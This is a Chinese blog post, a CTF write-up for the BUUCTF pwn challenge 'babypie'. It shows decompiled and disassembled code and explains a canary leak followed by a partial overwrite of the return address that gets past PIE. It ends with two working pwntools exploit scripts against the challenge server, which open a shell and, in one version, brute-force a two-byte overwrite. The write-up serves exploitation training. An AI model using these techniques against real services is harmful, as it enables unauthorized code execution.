partial write bypass PIE
第一篇博客,请允许我水一下。BUUCTF上的一题:linkctf_2018.7_babypie
检查一下保护机制:
1 Arch: amd64-64-little 2 RELRO: Partial RELRO 3 Stack: Canary found 4 NX: NX enabled 5 PIE: PIE enabled
canary,pie,nx都开的栈,拖进IDA看看
1 __int64 sub_960() 2 { 3 __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF 4 5 buf[5] = __readfsqword(0x28u); 6 setvbuf(stdin, 0LL, 2, 0LL); 7 setvbuf(_bss_start, 0LL, 2, 0LL); 8 buf[0] = 0LL; 9 buf[1] = 0LL; 10 buf[2] = 0LL; 11 buf[3] = 0LL; 12 puts("Input your Name:"); 13 read(0, buf, 0x30uLL); 14 printf("Hello %s:\n", (const char *)buf); 15 read(0, buf, 0x60uLL); 16 return 0LL; 17 }
1 int sub_A3E() 2 { 3 return system("/bin/sh"); 4 }
1 .text:0000000000000960 sub_960 proc near ; CODE XREF: main+14↓p 2 .text:0000000000000960 3 .text:0000000000000960 buf = qword ptr -30h 4 .text:0000000000000960 var_28 = qword ptr -28h 5 .text:0000000000000960 var_20 = qword ptr -20h 6 .text:0000000000000960 var_18 = qword ptr -18h 7 .text:0000000000000960 var_8 = qword ptr -8 8 .text:0000000000000960 9 .text:0000000000000960 ; __unwind { 10 .text:0000000000000960 push rbp 11 .text:0000000000000961 mov rbp, rsp 12 .text:0000000000000964 sub rsp, 30h 13 .text:0000000000000968 mov rax, fs:28h 14 .text:0000000000000971 mov [rbp+var_8], rax 15 .text:0000000000000975 xor eax, eax 16 .text:0000000000000977 mov rax, cs:stdin 17 .text:000000000000097E mov ecx, 0 ; n 18 .text:0000000000000983 mov edx, 2 ; modes 19 .text:0000000000000988 mov esi, 0 ; buf 20 .text:000000000000098D mov rdi, rax ; stream 21 .text:0000000000000990 call _setvbuf 22 .text:0000000000000995 mov rax, cs:__bss_start 23 .text:000000000000099C mov ecx, 0 ; n 24 .text:00000000000009A1 mov edx, 2 ; modes 25 .text:00000000000009A6 mov esi, 0 ; buf 26 .text:00000000000009AB mov rdi, rax ; stream 27 .text:00000000000009AE call _setvbuf 28 .text:00000000000009B3 mov [rbp+buf], 0 29 .text:00000000000009BB mov [rbp+var_28], 0 30 .text:00000000000009C3 mov [rbp+var_20], 0 31 .text:00000000000009CB mov [rbp+var_18], 0 32 .text:00000000000009D3 lea rdi, s ; "Input your Name:" 33 .text:00000000000009DA call _puts 34 .text:00000000000009DF lea rax, [rbp+buf] 35 .text:00000000000009E3 mov edx, 30h ; '0' ; nbytes 36 .text:00000000000009E8 mov rsi, rax ; buf 37 .text:00000000000009EB mov edi, 0 ; fd 38 .text:00000000000009F0 call _read 39 .text:00000000000009F5 lea rax, [rbp+buf] 40 .text:00000000000009F9 mov rsi, rax 41 .text:00000000000009FC lea rdi, format ; "Hello %s:\n" 42 .text:0000000000000A03 mov eax, 0 43 .text:0000000000000A08 call _printf 44 .text:0000000000000A0D lea rax, [rbp+buf] 45 .text:0000000000000A11 mov edx, 60h ; '`' ; nbytes 46 .text:0000000000000A16 mov rsi, rax ; buf 47 .text:0000000000000A19 mov edi, 0 ; fd 48 .text:0000000000000A1E call _read 49 .text:0000000000000A23 mov eax, 0 50 .text:0000000000000A28 mov rcx, [rbp+var_8] 51 .text:0000000000000A2C xor rcx, fs:28h 52 .text:0000000000000A35 jz short locret_A3C 53 .text:0000000000000A37 call ___stack_chk_fail 54 .text:0000000000000A3C ; --------------------------------------------------------------------------- 55 .text:0000000000000A3C 56 .text:0000000000000A3C locret_A3C: ; CODE XREF: sub_960+D5↑j 57 .text:0000000000000A3C leave 58 .text:0000000000000A3D retn 59 .text:0000000000000A3D ; } // starts at 960 60 .text:0000000000000A3D sub_960 endp 61 .text:0000000000000A3D 62 .text:0000000000000A3E 63 .text:0000000000000A3E ; =============== S U B R O U T I N E ======================================= 64 .text:0000000000000A3E 65 .text:0000000000000A3E ; Attributes: bp-based frame 66 .text:0000000000000A3E 67 .text:0000000000000A3E sub_A3E proc near 68 .text:0000000000000A3E ; __unwind { 69 .text:0000000000000A3E push rbp 70 .text:0000000000000A3F mov rbp, rsp 71 .text:0000000000000A42 lea rdi, command ; "/bin/sh" 72 .text:0000000000000A49 call _system 73 .text:0000000000000A4E nop 74 .text:0000000000000A4F pop rbp 75 .text:0000000000000A50 retn 76 .text:0000000000000A50 ; } // starts at A3E 77 .text:0000000000000A50 sub_A3E endp
有个格式化字符串漏洞可以泄露canary,由于pie的开启,IDA里只显示后三位,发现后门函数地址后三位是 A3E ,和用gdb调出来的返回地址 A6A 只相差最后一个字节,由于小端序存储,我们可以直接部分字节写入,改返回地址为后门函数,即可getshell。以下附上exp:
from pwn import * def pwn(): s =remote('node4.buuoj.cn',27982) s.recvuntil(b'Input your Name:\n') s.sendline(b'a'*0x28) s.recvuntil(b'a'*0x28) canary=u64(s.recv(8))-0xa success(hex(canary)) payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e' s.recvuntil(b':\n') s.send(payload) s.interactive() pwn()
当然有兴趣的师傅也可以试看看写入双字节,爆破看看,有1/16的概率getshell。
exp:
1 from pwn import * 2 3 def pwn(): 4 s.recvuntil(b'Input your Name:\n') 5 s.sendline(b'a'*0x28) 6 s.recvuntil(b'a'*0x28) 7 canary=u64(s.recv(8))-0xa 8 success(hex(canary)) 9 10 payload=b'a'*0x28+p64(canary)+p64(0)+b'\x3e\xaa' 11 s.recvuntil(b':\n') 12 s.send(payload) 13 s.sendline(b'ls') 14 k=s.recv() 15 return k 16 17 18 if __name__ == '__main__': 19 while True: 20 s =remote('node4.buuoj.cn',26877) 21 k=pwn() 22 if(b'bin' in k): 23 s.interactive() 24 break 25 s.close()
最后感谢winmt师傅的爆破指导。
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15690597.html